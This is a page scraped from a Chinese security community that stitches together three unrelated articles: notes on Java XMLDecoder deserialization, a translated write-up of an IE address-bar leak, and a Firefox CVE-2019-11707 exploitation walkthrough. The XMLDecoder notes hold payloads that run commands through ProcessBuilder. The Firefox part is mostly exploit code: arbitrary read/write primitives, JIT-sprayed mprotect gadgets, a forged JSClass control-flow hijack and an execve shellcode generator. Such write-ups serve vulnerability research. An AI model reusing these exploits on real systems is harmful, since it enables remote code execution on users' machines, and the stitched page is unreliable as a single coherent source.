//判断是否属于Class对象，是的话寻找类中的static变量，否则寻找类中的所有变量
return var0 instanceof Class ? FieldFinder.findStaticField((Class)var0, var1) : FieldFinder.findField(var0.getClass(), var1);
}
* 返回值为变量对应的对象值
### method
* 标签内属性：class、name、id
* 可加载类，继承于NewElementHandler
* getValueObject方法中
* class属性存在，则加载class，调用class中的static方法，方法名为name属性值
* class属性不存在，则根据父标签得到Class对象，调用Class对象的方法（无限制），方法名为name属性值
protected ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception {
Object var3 = this.getContextBean();
Class[] var4 = getArgumentTypes(var2);
//var1为标签内的class属性，var3是父标签的Class对象
Method var5 = var1 != null ? MethodFinder.findStaticMethod(var1, this.name, var4) : MethodFinder.findMethod(var3.getClass(), this.name, var4);
if (var5.isVarArgs()) {
var2 = getArguments(var2, var5.getParameterTypes());
}
Object var6 = MethodUtil.invoke(var5, var3, var2);
return var5.getReturnType().equals(Void.TYPE) ? ValueObjectImpl.VOID : ValueObjectImpl.create(var6);
}
* 返回值为调用函数的返回值
### property
* 标签内属性：index、name、id
* 不可加载类
* 可调用setXXX和getXXX方法，name用作索引类中的成员变量，property标签之间表示传入setXXX的参数
* setXXX方法使用
<object class="test">
<property name="xixixi">
<string>open /etc</string>
</property>
</object>
* getXXX方法使用
<object class="test">
<property name="xixixi">
</property>
</object>
### byte
传入byte[]类型的时候，class不是`java.lang.Byte`而是`byte`
<object class="java.net.Socket">
<string>127.0.0.1</string>
<int>6666</int>
<void method="getOutputStream">
<void method="write">
<array class="byte" length="2">
<void index="0">
<byte>49</byte>
</void>
<void index="1">
<byte>49</byte>
</void>
</array>
</void>
</void>
</object>
### 其余数据类型
var
null
short
int
long
float
double
boolean
true
false
char
string
## XML基本语法
以下语句摘自[参考链接](http://www.lmxspace.com/2019/06/05/Xmldecoder学习之路/)
* 每个元素代表一个方法调用
* 包含元素的元素将这些元素用作参数，除非它们具有标记：“void”。（关键）
* 方法的名称由“method”属性表示。
* XML的标准“id”和“idref”属性用于引用先前的表达式 - 以便处理对象图中的圆形。
* 使用“array”标记写入对数组的引用。“class”和“length”属性分别指定数组的子类型及其长度。
## 其他
xmldecoder漏洞在getValueObject方法触发
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
<!-- endElementHandler结束标签并通过this.getValueObject()获取string标签内的数据：/bin/bash -->
</void>
<!-- endElementHandler结束标签，获取到父标签，即上一级标签 -->
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>open /Applications/Calculator.app</string>
</void>
</array>
<!-- endElementHandler结束标签，this.getValueObject()得到string数组 -->
<void method="start">
</void>
<!-- endElementHandler结束标签，this.getValueObject()调用方法 -->
</object>
若标签内存在id属性，则调用`this.owner.setVariable(this.id,
var1.getValue());`存入DocumentHandler的environment变量。
不存在id属性，则调用`this.owner.addObject(var1.getValue());`存入DocumentHandler的objects变量。
这里的environment不清楚是做什么的，objects变量是标签的返回值。
public void endElement() {
ValueObject var1 = this.getValueObject();
if (!var1.isVoid()) {
if (this.id != null) {
this.owner.setVariable(this.id, var1.getValue());
}
if (this.isArgument()) {
if (this.parent != null) {
this.parent.addArgument(var1.getValue());
} else {
this.owner.addObject(var1.getValue());
}
}
}
}
## xml简单利用
执行命令
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>/Applications/Calculator.app/</string>
</void>
</array>
<void method="start">
</object>
使用套接字，连接127.0.0.1的6666端口并发送数据
<object class="java.net.Socket">
<string>127.0.0.1</string>
<int>6666</int>
<void method="getOutputStream">
<void method="write">
<array class="byte" length="2">
<void index="0">
<byte>49</byte>
</void>
<void index="1">
<byte>49</byte>
</void>
</array>
</void>
</void>
</object>
创建文件并写入
<object class="java.io.PrintWriter">
<void class="java.io.FileOutputStream">
<string>2.txt</string>
</void>
<string>2.txt</string>
<void method="print">
<string>xmldecoder_vul_test</string>
</void>
<void method="close"/>
</object> | 社区文章 |
# 【技术分享】深入分析IE地址栏内容泄露漏洞
|
##### 译文声明
本文是翻译文章，文章来源：brokenbrowser.com
原文地址：<https://www.brokenbrowser.com/revealing-the-content-of-the-address-bar-ie/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：180RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
在本文中，我们探讨的对象是 **IE浏览器** ，尽管该浏览器略显老态，但是其用户还是很多的，所以不容忽视。我最近对 **MSRC**
感到很欣喜，因为他们正在将工作重心移至Edge浏览器、设计漏洞，甚至提高了漏洞赏金，这看起来确实不错。
所有这些都是好消息，但我仍然认为现在就急着抛弃IE还为时尚早。例如，现在所有的IE用户在zombie脚本漏洞（已经公开数月，但是仍然尚未得到修补）面前都可能变成僵尸程序。千万不要忽视这个问题的严重性，请想象一下攻击者可以做什么：他们可以一直潜伏在你的浏览器中，当你浏览其他网站的时候，他们就有足够的时间做一些见不得光的事情，比如挖掘数字货币等。此外，IE的阻止弹出窗口功能已经被完全攻陷了，但是好像并没有引起人们的注意。总之，我认为这些漏洞应该得到修补，或至少给IE用户一个醒目的警告，比如“我们不再支持这个浏览器，请使用Microsoft
Edge”。
在我看来，微软正在试图摆脱IE，这个毫无疑问。不过，如果直接告诉用户他们的旧版浏览器没有像Edge那样得到足够的维护会显得更诚实一些。根据Netmarketshare的统计显示，IE仍比Edge更受欢迎，两者用户之比是17％
vs 6％。
我坚信在安全方面IE应该像Edge那样得到同等的对待，否则就应该完全放弃它。但是不管未来怎样，我们现在先来探讨一下IE上的另一个漏洞：允许攻击者知道用户将要浏览的地址。什么，这是读心术吗？不，当然不是，下面让我们来看看IE是如何让攻击者做出魔幻般的事情的。
**
**
**摘要**
当脚本在object-html标签内执行时，位置对象将获得焦点并返回主位置，而不是它自己的位置。
确切地说，它将返回写入地址栏中的文本。如果读者是急性子的话，可以先观看视频，了解一下攻击者是如何读取用户输入到IE地址栏内的内容的！
**
**
**对象和文档模式**
对象标签的行为方式取决于documentMode的渲染方式。
例如，如果我们在页面的开头添加兼容性元标记的话，它的外观和行为就像一个iframe，但它会认为这是一个顶层窗口。
<head>
<!-- COMPATIBILITY META TAG -->
<meta http-equiv="X-UA-Compatible" content="IE=8" />
</head>
<object data="obj.html" type="text/html"></object>
<head>
<!-- COMPATIBILITY META TAG -->
<meta http-equiv="X-UA-Compatible" content="IE=8" />
</head>
<object data="obj.html" type="text/html"></object>
在上面的代码中，“obj.html”在对象内部进行渲染，并且其内容被放入与iframe类似的方框中，然而，虽然在窗口对象与顶层对象进行比较时返回值为true，但是它并非顶层窗口。我们可以看一下在对象标签内执行的代码：虽然它认为window
== top，但是事实并非如此。
[在IE上进行测试](https://www.cracking.com.ar/demos/ieaddressbarguess/docmode8.html)
我们的对象认为它是顶层窗口，甚至其他frameElement之类的成员也总是返回null——这种行为只出现在（IE的）顶层窗口中。
下面，让我们尝试相同的代码在没有兼容性标签的情况下会怎样。这时，该对象就能了解它所在的位置了，并且其行为类似于iframe。
<!-- COMPATIBILITY META TAG REMOVED -->
<object data="obj.html" type="text/html"></object>
<!-- COMPATIBILITY META TAG REMOVED -->
<object data="obj.html" type="text/html"></object>
[在IE上进行测试](https://www.cracking.com.ar/demos/ieaddressbarguess/docmode11.html)
本质上，该对象在较旧的文档模式中被渲染为一个独立的实体，但在一个较新的文档模式中将被渲染为一个iframe。无论如何，在内部它们都是WebBrowser控件，所以Trident引擎会暴露相同的成员。
**
**
**继承的窗口成员**
让我们重新回到较旧的documentMode，寻找一种利用这个混淆漏洞的方法，不过事情貌似并不那么糟糕，因为跨域限制仍然存在，而且X-FRAME-OPTIONS头部的工作效果非常好。
有一些成员，如window.name，它们是通过对象继承得到的（该对象会继承其父对象的名称），不过这也不是太糟糕——但是某些广告技术会全地使用window.name来跨iframe传递信息，这种做法是很危险的。
话虽如此，至少有一个继承的对象真的会引起麻烦：位置。在对象标签内，location.href将返回主（顶层）窗口的位置。下面的代码将其对象的源指向object_location.html，但是当我们检索它的位置时，它返回的是顶层窗口。
[在IE上进行测试](https://www.cracking.com.ar/demos/ieaddressbarguess/top_location.html)
再次重申，这个混淆漏洞本身是没有用的，因为我们仍然在同一个域。即使我们可以找到一个顶层的位置，只要我们在同一个域，那也没有多大意思。为此，我尝试改变对象的位置，但没有成功。如果你想在这个领域进行研究，我建议可以更深入一些，因为我认为会有更多的可能性。无论如何，在尝试实现UXSS（持久性是现实攻击中一切的关键）时，我获得了一个惊喜：当对象被注入到onbeforeunload时，我们得到的不再是顶层窗口的位置，而是浏览器的将要到达的位置或当前写入地址栏的内容。
换句话说，如果我们在用户离开主页面的同时检索对象的location.href，我们将能够知道她在地址栏中输入的内容，或者如果点击链接，我们将会获悉浏览器要链接的地址。
这里，我们只是中断新站点的加载并展示用户的URL。当然，如果是攻击者的话，他们会直接回填地址并加载站点，并且这一切对于用户来说都是透明的。实际上，在用户离开时，我们直接执行document.write就行了。
window.onbeforeunload = function()
{
document.write('<object data="loc.html" type="text/html" width="800" height="300"></object>');
document.close();
}
window.onbeforeunload = function()
{
document.write('<object data="loc.html" type="text/html" width="800" height="300"></object>');
document.close();
}
并在那个恰当的时刻读取位置（onbeforeunload）。
document.write("Let me read your mind. You wanted to go here: " + location.href +);
好了，现在我们就能在用户离开时获取对象位置，从而确切地知道她在地址栏中输入的内容。当然，它不一定是一个完整的URL，例如，如果用户在地址栏中输入单词，它将自动被转换为搜索查询URL（IE默认为Bing），这当然可以被完整读取！
[在IE上进行测试](https://www.cracking.com.ar/demos/ieaddressbarguess/) **
**
**
**
**视频演示**
****
**结束语**
祝阅读愉快，并希望读者针对这个漏洞进行更深入的挖掘，我相信你们会有更多的新发现！ | 社区文章 |
# firefox pwn 入门 - CVE-2019-11707 复现笔记
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
这篇文章主要复现了一下`CVE-2019-11707`
这个洞，大部分都是参考[vigneshsrao](https://vigneshsrao.github.io/writeup/) 的分析文章, 这个漏洞是
`Ionmonkey` jit 实现上的漏洞，最终可以导致类型混淆。
## 环境配置
调试用的[`firefox
66.0.3`](https://archive.mozilla.org/pub/firefox/releases/66.0.3/linux-x86_64/zh-CN/firefox-66.0.3.tar.bz2)，
源码在[这里](https://archive.mozilla.org/pub/firefox/releases/66.0.3/source/firefox-66.0.3.source.tar.xz)
下载，复现环境在 ubuntu 1604 下
我没有办法在ubuntu1604 下编译这个版本的firefox, 但是单独编译 `jsshell` 是可以的， 可以先编个 `jsshell`
来测试然后在跑完整的firefox. firefox 在`about:confg` 里设置
// 单线程, 便于调试
browser.tabs.remote.autostart = false
// 去掉 sandbox
security.sandbox.content.level = 0
文章涉及的代码都放在了[这里](https://github.com/rtfingc/cve-repo/tree/master/0x08-cve-2019-11707-ionmonkey-type-confuse)
## 漏洞分析
这个漏洞是`saelo` 在19年fuzz出来的，是 `Ionmonkey`
层的漏洞，最终打上的部分[patch](https://hg.mozilla.org/releases/mozilla-beta/rev/109cefe117fbdd1764097e06796960082f4fee4e)如下
--- a/js/src/jit/MCallOptimize.cpp
+++ b/js/src/jit/MCallOptimize.cpp
@@ -922,19 +922,20 @@ IonBuilder::InliningResult IonBuilder::i
if (clasp != &ArrayObject::class_) {
return InliningStatus_NotInlined;
}
if (thisTypes->hasObjectFlags(constraints(), unhandledFlags)) {
trackOptimizationOutcome(TrackedOutcome::ArrayBadFlags);
return InliningStatus_NotInlined;
}
+ // Watch out for extra indexed properties on the object or its prototype.
bool hasIndexedProperty;
MOZ_TRY_VAR(hasIndexedProperty,
- ArrayPrototypeHasIndexedProperty(this, script()));
+ ElementAccessHasExtraIndexedProperty(this, obj));
if (hasIndexedProperty) {
trackOptimizationOutcome(TrackedOutcome::ProtoIndexedProps);
return InliningStatus_NotInlined;
}
//...
patch 只是把原来`hashIndexedProperty` 的`ArrayPrototypeHasIndexedProperty`
检查换成了`ElementAccessHasExtraIndexedProperty`
当创建一个 array 时, 像下面这样，`a` 的prototype 是`Array Object`
js> a=[1.1,2.2]
[1.1, 2.2]
js> dumpObject(a)
object a704d898080
global a704d88b060 [global]
class 555557f214f0 Array
group a704d888820
flags:
proto <Array object at a704d8ae040>
properties:
"length" (shape a704d8b1078 permanent getterOp 5555557ec410 setterOp 5555557ec470)
elements:
0: 1.1
1: 2.2
继续看`a.__proto__` 以及 `a.__proto__.__proto__`
js> dumpObject(a.__proto__)
object a704d8ae040
global a704d88b060 [global]
class 555557f214f0 Array
lazy group
flags: delegate new_type_unknown
proto <Object at a704d88e040>
properties:
"length" (shape a704d899fc8 permanent getterOp 5555557ec410 setterOp 5555557ec470)
//..........................................
js> dumpObject(a.__proto__.__proto__)
object a704d88e040
global a704d88b060 [global]
class 555557f23898 Object
group a704d888250
flags: delegate new_type_unknown immutable_prototype inDictionaryMode hasShapeTable
proto null
properties:
"toSource": <function toSource at a704d88f340> (shape a704d892128 slot 0)
"toString": <function toString at a704d88f380> (shape a704d892100 slot 1)
`a` 的`prototype chains` 如下
a.__proto__ --> Array.prototype --> Object.prototype --> null
`ArrayPrototypeHasIndexedProperty` 会检查`Array.prototype`
是否有index类型的`properties` , 例如`a.__proto__.m = [1.1,2.2,3.3]`
这个检查发生在`IonBuilder::inlineArrayPopShift`,`IonBuilder::inlineArrayPushShift`以及`IonBuilder::inlineArraySlice`
函数中，他们会在jit中进入`inline cache`时调用.
AbortReasonOr<bool> jit::ArrayPrototypeHasIndexedProperty(IonBuilder* builder,
JSScript* script) {
if (JSObject* proto = script->global().maybeGetArrayPrototype()) {
return PrototypeHasIndexedProperty(builder, proto);
}
return true;
}
这里的漏洞在于检查的不充分，执行`b=[1.1,2.2]; a.__proto__=b`, 原型链就会变成
a.__proto__ --> b.__proto__ --> Array.prototype --> Object.prototype --> null
因为只检查了`Array.prototype` ，所以并不会检查`b` 上是否有`indexed` 类型的`properties`
## 漏洞利用
### poc 分析
`saelo` 给出了漏洞的poc 如下
// Run with --no-threads for increased reliability
const v4 = [{a: 0}, {a: 1}, {a: 2}, {a: 3}, {a: 4}];
function v7(v8,v9) {
if (v4.length == 0) {
v4[3] = {a: 5};
}
const v11 = v4.pop();
// v11 被认为是一个 object
v11.a;
// 执行之后会进入 jit
for (let v15 = 0; v15 < 10000; v15++) {}
}
var p = {};
p.__proto__ = [{a: 0}, {a: 1}, {a: 2}];
p[0] = -1.8629373288622089e-06;// 0x4141414141414141
v4.__proto__ = p;
for (let v31 = 0; v31 < 1000; v31++) {
v7();
}
`v7()` 执行后会进入到`jit` ,这里还需要知道一个知识点, 对于稀疏类型的array, 如有`a=[]; a[3] =1` 这样`a[0],
a[1],a[2]` 都是`undefined` 的，它就会顺着原型链一层一层的找有没有`indexed` 类型的对象， 像下面这样
js> a=[]
[]
js> a[3]=1
1
js> a
[, , , 1]
js> a.__proto__=[4,5]
[4, 5]
js> a
[4, 5, , 1]
js> a.pop()
1
js> a.pop()
js> a.pop()
5
js> a.pop()
4
执行`pop` 之后`Array.pop` 进入`inline cache`, 根据前面的分析，这里不会检查`v4.__proto__`, 检查通过，
`jit` 层会认为`v4.pop()` 固定是一个`object`, 会去掉其类型检查。
于是在`v7` 里， 当`v4` 5个对象都pop完之后,`v4[3] = {a: 5};` ，`v4` 变成稀疏类型的array, 这时候`p[0]`
会转入`index ==0` 的地方, 当pop到`p[0] = -1.8629373288622089e-06` 时有`v11 ==
-1.8629373288622089e-06` ，但是`jit` 仍认为它是一个`object`，访问`v11.a` 就会有非法内存访问而crash
js> a=[]
[]
js> a[3]=1
1
js> a
[, , , 1]
js> p={}
({})
js> p.__proto__ = [{a: 0}, {a: 1}, {a: 2}];
[{a:0}, {a:1}, {a:2}]
js> p[0] = -1.8629373288622089e-06;
-0.0000018629373288622089
js> p
[-0.0000018629373288622089, {a:1}, {a:2}]
js> a.__proto__=p
[-0.0000018629373288622089, {a:1}, {a:2}]
js> a
[-0.0000018629373288622089, {a:1}, {a:2}, 1]
poc 运行之后效果如下
pwndbg> set args --no-threads poc.js
pwndbg> r
RAX 0x4141414141414141 ('AAAAAAAA')
//..
RSI 0x7fffffff9d48 —▸ 0x7fffffff9d80 ◂— 0xbebf414141414141
R8 0x1
R9 0x7fffffff9aa8 ◂— 0x0
//...
RIP 0x3ac4ec7485d0 ◂— cmp qword ptr [rax], r11
─────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────
► 0x3ac4ec7485d0 cmp qword ptr [rax], r11
0x3ac4ec7485d3 jne 0x3ac4ec7485e2
### 漏洞利用
根据前面的分析，我们可以往`p[0]` 存入其他类型的对象，然后在`v7` 的内存访问中就可能出现类型混淆。
`vigneshsrao` 用了`Uint8Array` 和`Uint32Array` 这两个对象来构造类型混淆, 基本上按照saelo 的poc来。
buf=[];
for(let i=0;i<0x10;i++)
buf.push(new ArrayBuffer(0x60));
var abuf = buf[5];
var e=new Uint32Array(abuf);
e[0]=0x61626364;
e[1]=0x31323334;
const arr = [e,e,e,e,e];
function vuln(a1){
if(arr.length==0){
arr[3] = e;
}
const v11 = arr.pop();
// 修改 下一个 ArrayBuffer 的 size 字段
v11[a1] = 0x100;
for(let i =0;i<100000;i++){}
}
p = [new Uint8Array(abuf),e,e];
arr.__proto__=p;
for(let i=0;i<2000;i++){
vuln(34);
}
for(let i=0;i<buf.length;i++)
print(i+' '+ buf[i].byteLength);
`ArrayBuffer` 的data slots 的最大inline 大小是 0x60, `vuln` 函数里修改`v11[34] = 0x100;`
当`v11 == e` ,`e[34]` 超过执行不会成功，当`v11 == Uint8Array(abuf)` 时，jit 仍认为`v11`
是`Uint32Array` 类型，jit 中去掉了type array 的类型检查，只检查了传入的`index`
是否越界，此时`Uint8Array(abuf)` 的size是`0x60` ， 于是可以成功写入内存，但是实际写的地址是`addr + 34 * 4` ,
像下面这样，我们可以越界写修改`buf[7]` 的`byteLength` 字段
pwndbg> search -t qword 0x3132333461626364
0x20c9e49383c0 'dcba4321'
pwndbg> x/40gx 0x20c9e49383c0-0x40
// .. buf[6]
0x20c9e4938380: 0x00002746d7073a30 0x000020c9e4927330
0x20c9e4938390: 0x0000000000000000 0x00007fffeb5170c0
0x20c9e49383a0: 0x00001064f249c1e0 0xfff8800000000060
0x20c9e49383b0: 0xfffe169ac6f5b080 0xfff8800000000000
0x20c9e49383c0: 0x3132333461626364 0x0000000000000000
0x20c9e49383d0: 0x0000000000000000 0x0000000000000000
// ... buf[7]
0x20c9e4938420: 0x00002746d7073a30 0x000020c9e4927330
0x20c9e4938430: 0x0000000000000000 0x00007fffeb5170c0
0x20c9e4938440: 0x00001064f249c230 0xfff8800000000100// buf[7].byteLength
0x20c9e4938450: 0xfffa000000000000 0xfff8800000000000
0x20c9e4938460: 0x0000000000000000 0x0000000000000000
//..................
Please wait...
[+]: 0 96
[+]: 1 96
[+]: 2 96
[+]: 3 96
[+]: 4 96
[+]: 5 96
[+]: 6 256
[+]: 7 96
[+]: 8 96
[+]: 9 96
[+]: 10 96
[+]: 11 96
[+]: 12 96
[+]: 13 96
[+]: 14 96
[+]: 15 96
到了这里，我们已经有了越界读写的能力了，后续的漏洞利用都比较通用化，基本的流程如下
* 1 构造 任意地址读写
* 2 往 `jit` 写入shellcode
* 3 伪造`JSClass` ，修改`addProperty` 字段劫持控制流
### 构造任意地址读写
有了数组越界，构造任意地址读写就不难了, 首先泄露出`0x00001064f249c230` 这个地址，`0x00001064f249c230<<1
-0x40` 可以得到`buf[7]` 的起始地址，后续改写这个地址就可以任意地址读写了
// buf[7]
// //group shape
0x20c9e4938420: 0x00002746d7073a30 0x000020c9e4927330
//slots
0x20c9e4938430: 0x0000000000000000 0x00007fffeb5170c0
//0x20c9e4938460>>1
0x20c9e4938440: 0x00001064f249c230 0xfff8800000000100// buf[7].byteLength
0x20c9e4938450: 0xfffa000000000000 0xfff8800000000000
0x20c9e4938460: 0x0000000000000000 0x0000000000000000
这里还需要构造一个`addrof`, 当执行`buf[7].leak = {}` 的时候，它会放在前面`slots` 处，把`data buffer`
改成`0x00007fffcfcfb600>>1` 然后读`buf[7]` 就可以泄露出 对象的地址了
pwndbg> x/20gx 0x112c38f204c0
0x112c38f204c0: 0x0000160cb7b59a30 0x0000112c38f22380
//slots
0x112c38f204d0: 0x00007fffcfcfb600 0x00007fffeb5170c0
//data buffer
0x112c38f204e0: 0x000008961c790280 0xfff8800000000060
0x112c38f204f0: 0xfffe38a368b3d180 0xfff8800000000000
0x112c38f20500: 0x0000000000000000 0x0000000000000000
0x112c38f20510: 0x0000000000000000 0x0000000000000000
//.....
pwndbg> x/10gx 0x00007fffcfcfb600
0x7fffcfcfb600: 0xfffe112c38f2f300 0x0000000000000000
0x7fffcfcfb610: 0x0000000000000000 0x0000000000000000
0x7fffcfcfb620: 0x0000000000000000 0x0000000000000000
0x7fffcfcfb630: 0x0000000000000000 0x0000000000000000
具体实现代码如下, `spidermonkey` 的对象都会加上一个 `tag` ，读的时候把它去掉就行
function readptr(addr){
oob64[16] = i2f(addr/2);
oob[34] = 0x100;
ptrleak = new Uint32Array(buf[7]);
leak = ptrleak[0] + (ptrleak[1]&0x7fff)*0x100000000;
return leak;
}
function addrof(obj){
buf[7].leak = obj;
return readptr(buf7_slots_addr);
}
function write64(addr,data){
oob64[16] = i2f(addr/2);
oob[34] = 0x100;
towrite = new Float64Array(buf[7]);
towrite[0] = i2f(data);
}
### jit 写入 shellcode
因为`jit` 中的代码有可执行权限，如果可以往`jit` 中写入shellcode, 那么劫持控制流之后直接跳到`jit`
执行就完事了，但是`spidermonkey` 的`jit` 是`r_x` 权限的，不可直接写入，但是我们可以像下面这样把数据传入到`r_x` 段
print(d2f(0x41424344,0x61626364));
print(d2f(0x13371337,0x13371337));
//2393736.760815071
//4.183559446463817e-216
function tmp(){
const a=2393736.760815071;
const b=4.183559446463817e-216;
}
for(let i=0;i<100000;i++)tmp();
//.....
pwndbg> search -t qword 0x4142434461626364
0x15b165d2926e movsxd rsp, dword ptr fs:[rdx + 0x61]
pwndbg> x/20gx 0x15b165d2926e
0x15b165d2926e: 0x4142434461626364 0x1337bb49c85d894c
0x15b165d2927e: 0x894c133713371337 0x00000000b948c05d
pwndbg> x/20gx 0x15b165d2926e+6+8
0x15b165d2927c: 0x1337133713371337 0x0000b948c05d894c
0x15b165d2928c: 0x45f7fff980000000 0x04840f00000001fc
可以看到`0x4142434461626364` 和`0x1337133713371337` 都被存入到了`jit`
上，但是他们内存是不连续的，原本的jit代码如下
pwndbg> x/10i 0x15b165d2926e-6
0x15b165d29268: mov QWORD PTR [rbp-0x40],r11
0x15b165d2926c: movabs r11,0x4142434461626364
0x15b165d29276: mov QWORD PTR [rbp-0x38],r11
0x15b165d2927a: movabs r11,0x1337133713371337
0x15b165d29284: mov QWORD PTR [rbp-0x40],r11
0x15b165d29288: movabs rcx,0xfff9800000000000
0x15b165d29292: test DWORD PTR [rbp-0x4],0x1
但是没有关系，因为可以利用`const` 一次往`jit` 写入`8`个byte，`const`
之间内存地址是连续的，可以写入多个gadget，构造`gadget1 => jmp gadget2 => jmp gadget3` 这样
最终写入的shellcode 如下
func = function func() {
// 0x1337133713371337
const magic = 4.183559446463817e-216;
//0x67490c038098b48 mov rcx,QWORD PTR [rcx] ;cmp al,al; nop
const g1 = 1.4501798452584495e-277
//0x6749000100068 push 0x1000; nop
const g2 = 1.4499730218924257e-277
//0x674c038ff31485e pop rsi ;xor rdi,rdi;cmp al,al
const g3 = 1.4632559875735264e-277
//0x6745f00fff68 push 0xfff;pop rdi;
const g4 = 1.4364759325952765e-277
//0x674909090d7f748 not rdi;nop;nop;nop
const g5 = 1.450128571490163e-277
//0x67490c038cf2148 and rdi,rcx;cmp al,al;nop
const g6 = 1.4501798485024445e-277
//0x674580a6a5a076a push 0x7;pop rdx;push 0xa; pop rax;
const g7 = 1.4345589835166586e-277
//0x0c3050f51 push rcx; syscall; ret
const g8 = 1.616527814e-314
}
每个`const` 最后两个byte 都写入`0x74 0x06`, 对应`je pc+8` ，shellcode 达到的效果相当于是调用
mprotect(rcx,0x1000,0x7);
jmp rcx
即把`rcx` 对应的内存变成`rwx` 权限
### 伪造 `JSClasss`
接着我们看看如何劫持控制流, 在执行`a.a=xxx` 添加`properties` 时，如果`addProperty` 字段不为`null`,
则会调用执行`addProperty` 对应的函数，假如我们修改了`addProperty` 到`jit` 的地址，就可以执行我们的shellcode,
还有一点就是执行`a.x = new Object()` 的时候`rcx` 上会保存`new Object` 的地址，也就是说结合`jit`中的
`mprotect` ，我们可以做到把任意地址改为`rwx` 权限
但是实际上，`classp_` 是const 类型，保存在`r--` 段上，是不可写的，
但是没有关系，`spidermonkey`并没有很严格的堆隔离机制，我们可以伪造整个`ObjectGroup`, 然后把 `addProperty`
字段改成`jit` 的地址即可
pwndbg> x/20gx 0x112c38f204c0
// group
0x112c38f204c0: 0x0000160cb7b59a30 0x0000112c38f22380
0x112c38f204d0: 0x00007fffcfcfb600 0x00007fffeb5170c0
0x112c38f204e0: 0x000008961c790280 0xfff8800000000060
pwndbg> vmmap 0x0000160cb7b59a30
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x160cb7b00000 0x160cb7c00000 rw-p 100000 0
//...
pwndbg> x/10gx 0x0000160cb7b59a30
//classp_
0x160cb7b59a30: 0x00007fffed1f2240 0x00003b6e9bcba240
0x160cb7b59a40: 0x00007fffd3de6800 0x0000000040000018
pwndbg> vmmap 0x00007fffed1f2240
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7fffece8c000 0x7fffed235000 r--p 3a9000 6f7e000 /home/prb/firefox/libxul.so
//...
pwndbg> x/20gx 0x00007fffed1f2240
//name //flags
0x7fffed1f2240: 0x00007fffeb12daff 0x000000005d000402
//cOps
0x7fffed1f2250: 0x00007fffed1f24c0 0x00007fffed1f26b0
0x7fffed1f2260: 0x00007fffed1f2238 0x0000000000000000
0x7fffed1f2270: 0x00007fffeb52bbcd 0x000000005c000000
//..
pwndbg> x/20gx 0x00007fffed1f24c0
//addProperty
0x7fffed1f24c0: 0x0000000000000000 0x0000000000000000
0x7fffed1f24d0: 0x0000000000000000 0x0000000000000000
0x7fffed1f24e0: 0x0000000000000000 0x0000000000000000
0x7fffed1f24f0: 0x00007fffea567390 0x0000000000000000
0x7fffed1f2500: 0x0000000000000000 0x0000000000000000
0x7fffed1f2510: 0x00007fffea5673f0 0x0000000000000000
实现部分代码如下, 参考前面的内存布局
//group_addr == 0x0000160cb7b59a30
// group_jsclass == 0x00007fffed1f2240
group_jsclass = readptr(group_addr);
print("group_jsclass "+hex(group_jsclass));
fake_jsclass_array = new ArrayBuffer(0x30);
fake_cops_array = new ArrayBuffer(0x60);
shellcode = new Uint8Array(0x1000);
fake_jsclass_addr = addrof(fake_jsclass_array)+0x40;
fake_cops_addr = addrof(fake_cops_array) + 0x40;
fake_jsclass = new Float64Array(fake_jsclass_array);
fake_cops = new Float64Array(fake_cops_array);
// 完整拷贝一份 classp_ 的内容
fake_jsclass[0]=i2f(readptr(group_jsclass+0x0));//name
fake_jsclass[1]=i2f(readptr(group_jsclass+0x8));//flags
fake_jsclass[2]=i2f(readptr(group_jsclass+0x10));//cOps
fake_jsclass[3]=i2f(readptr(group_jsclass+0x18));//spec
fake_jsclass[4]=i2f(readptr(group_jsclass+0x20));//ext
fake_jsclass[5]=i2f(readptr(group_jsclass+0x28));//oOps
print("fake jsclass: "+hex(fake_jsclass_addr));
print(fake_jsclass);
cops_addr = f2i(fake_jsclass[2]);
// 完整拷贝一份 ClassOps 的内容
for(let i =0;i<12;i++){
fake_cops[i] = i2f(readptr(cops_addr+0x8*i));
}
print("fake cops: "+hex(fake_cops_addr));
print(fake_cops);
// cOps --> fake_cops
fake_jsclass[2] = i2f(fake_cops_addr);
// cOps -> addProperty --> jit_addr
fake_cops[0] = i2f(jit_addr);
shellcode_obj_addr = addrof(shellcode) ;
shellcode_addr = readptr(shellcode_obj_addr+0x38) ;
print(hex(shellcode_obj_addr));
print(hex(shellcode_addr));
// group_addr --> fake_jsclass
write64(group_addr,fake_jsclass_addr);
### 任意代码执行
前面的 `JSClass` 伪造完成之后，只要执行`buf[7].jjj=i2f(shellcode_addr)`, 就会跳转去执行`jit`
上的shellcode, `rcx == shellcode_addr`, `shellcode_addr` 对应的内存变成`rwx`,
往这块内存写入shellcode就可以任意代码执行啦。我们希望可以弹出一个计算器出来, 这里我写了一个生成 shellcode 的脚本
from pwn import *
context.arch='amd64'
cmd='/usr/bin/xcalc'
env='DISPLAY=:0'
#cmd='/bin/bash'
#env='x00'
cmd_off = 0x50
env_off = cmd_off + len(cmd) + 0x20
shellcode='''
lea rdi, [rip + %d]
xor rsi, rsi
push rsi
push rdi
push rsp
pop rsi
xor rdx,rdx
push rdx
lea rdx,[rip+ %d ]
push rdx
push rsp
pop rdx
mov al,0x3b
syscall
''' % (cmd_off-0x7, env_off-25)
shellcode=asm(shellcode).ljust(cmd_off,'x90')
shellcode+=cmd
shellcode=shellcode.ljust(env_off,'x00')
shellcode+=env
shellcode+='x00'
print(len(shellcode))
print(shellcode)
jsdata='sc = '+str([ord(i) for i in shellcode])+'n'
print(jsdata)
with open('shellcode.js','w') as f:
f.write(jsdata)
f.close()
执行之后生成一个`shellcode.js` 保存一个`sc` 数组，把这个数组拷贝到要转换成`rwx` 的内存即可
root@prbv:/var/www/html# python shellcode.py
137
